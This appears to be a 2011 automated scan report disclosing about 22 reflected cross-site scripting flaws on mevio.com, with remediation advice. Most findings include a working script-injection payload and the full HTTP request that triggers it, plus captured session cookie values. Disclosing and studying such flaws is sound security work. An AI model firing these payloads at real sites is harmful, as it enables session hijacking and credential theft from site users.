XSS, mevio.com, Cross Site Scripting, CWE-79, CAPEC-86
CWE-79: Improper Neutralization of Input DuringCWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Web Page Generation ('Cross-site Scripting')
Report generated by XSS.CX at Sun Mar 13 08:17:52 CDT 2011.
XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.mevio.com/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a836d</script><script>alert(1)</script>d0cc5ba3ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?a836d</script><script>alert(1)</script>d0cc5ba3ec=1 HTTP/1.1 Host: www.mevio.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
1.2. http://www.mevio.com/about/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/about/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c346f</script><script>alert(1)</script>4fd3e0d0351 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /about/?c346f</script><script>alert(1)</script>4fd3e0d0351=1 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
The value of the cId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e6ba1</script><script>alert(1)</script>253f3fc72b4 was submitted in the cId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /channels/?cId={$channel_id}e6ba1</script><script>alert(1)</script>253f3fc72b4&cMediaId={$itm.id}\ HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
The value of the cMediaId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 82b45</script><script>alert(1)</script>bf49a1677c3 was submitted in the cMediaId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /channels/?cId={$channel_id}&cMediaId={$itm.id}\82b45</script><script>alert(1)</script>bf49a1677c3 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
The value of the mId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b16bf</script><script>alert(1)</script>4889337bb94 was submitted in the mId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /channels/?cId=901960&mId=8090334b16bf</script><script>alert(1)</script>4889337bb94 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
1.6. http://www.mevio.com/channels/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/channels/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66b05</script><script>alert(1)</script>36e8105eca4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /channels/?66b05</script><script>alert(1)</script>36e8105eca4=1 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
1.7. http://www.mevio.com/connect/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/connect/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d0a3b</script><script>alert(1)</script>adaf75bde50 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /connect/?d0a3b</script><script>alert(1)</script>adaf75bde50=1 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
1.8. http://www.mevio.com/contact/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/contact/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c5daa</script><script>alert(1)</script>3acfd5e148d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact/?c5daa</script><script>alert(1)</script>3acfd5e148d=1 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
The value of the type request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fb89d</script><script>alert(1)</script>64cefaa65a2 was submitted in the type parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact/?type=advertiserfb89d</script><script>alert(1)</script>64cefaa65a2 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
1.10. http://www.mevio.com/directory/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/directory/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8ceee</script><script>alert(1)</script>ee2e9cb5cdd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /directory/?8ceee</script><script>alert(1)</script>ee2e9cb5cdd=1 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
1.11. http://www.mevio.com/faq/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/faq/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a73fe</script><script>alert(1)</script>8dd7807aa17 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /faq/?a73fe</script><script>alert(1)</script>8dd7807aa17=1 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
1.12. http://www.mevio.com/music/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/music/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 91eb7</script><script>alert(1)</script>df7908390d1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /music/?91eb7</script><script>alert(1)</script>df7908390d1=1 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
The value of the channel_id request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5e8df</script><script>alert(1)</script>566f82db51c was submitted in the channel_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /programguide/?channel_id=95e8df</script><script>alert(1)</script>566f82db51c HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
1.14. http://www.mevio.com/programguide/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/programguide/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 73978</script><script>alert(1)</script>d78236b4aff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /programguide/?73978</script><script>alert(1)</script>d78236b4aff=1 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
The value of the action request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8af99</script><script>alert(1)</script>f954c4b8205 was submitted in the action parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search/?action=opensearch8af99</script><script>alert(1)</script>f954c4b8205&q={searchTerms} HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
The value of the keyword request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 31875</script><script>alert(1)</script>bf8f1ae0f3e was submitted in the keyword parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search/?keyword={searchTerms}31875</script><script>alert(1)</script>bf8f1ae0f3e HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
1.17. http://www.mevio.com/search/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/search/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload da85b</script><script>alert(1)</script>13dcaee552a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search/?da85b</script><script>alert(1)</script>13dcaee552a=1 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
The value of the q request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 525b9</script><script>alert(1)</script>098b8bf2076 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /search/?action=opensearch&q={searchTerms}525b9</script><script>alert(1)</script>098b8bf2076 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
The value of the cId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5c0ed</script><script>alert(1)</script>9902cd99d2e was submitted in the cId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /signup/?mId=8090604&cId=9019685c0ed</script><script>alert(1)</script>9902cd99d2e HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
The value of the mId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b1d7f</script><script>alert(1)</script>40966a209ac was submitted in the mId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /signup/?mId=8090604b1d7f</script><script>alert(1)</script>40966a209ac&cId=901968 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
1.21. http://www.mevio.com/signup/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/signup/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ec76a</script><script>alert(1)</script>b9e4691c041 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /signup/?ec76a</script><script>alert(1)</script>b9e4691c041=1 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;
1.22. http://www.mevio.com/video/ [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.mevio.com
Path:
/video/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eadec</script><script>alert(1)</script>7162e1c0892 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /video/?eadec</script><script>alert(1)</script>7162e1c0892=1 HTTP/1.1 Host: www.mevio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=16294633.1300020733.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=3je9qd3sd27aetpj14a9qh11q3; __utma=16294633.2121477343.1300020733.1300020733.1300020733.1; __utmc=16294633; __utmb=16294633.1.10.1300020733; crux_usertoken=NHWSLCC6BK9575TO_1300020731477; MevioLBCookie=ADEIABAK;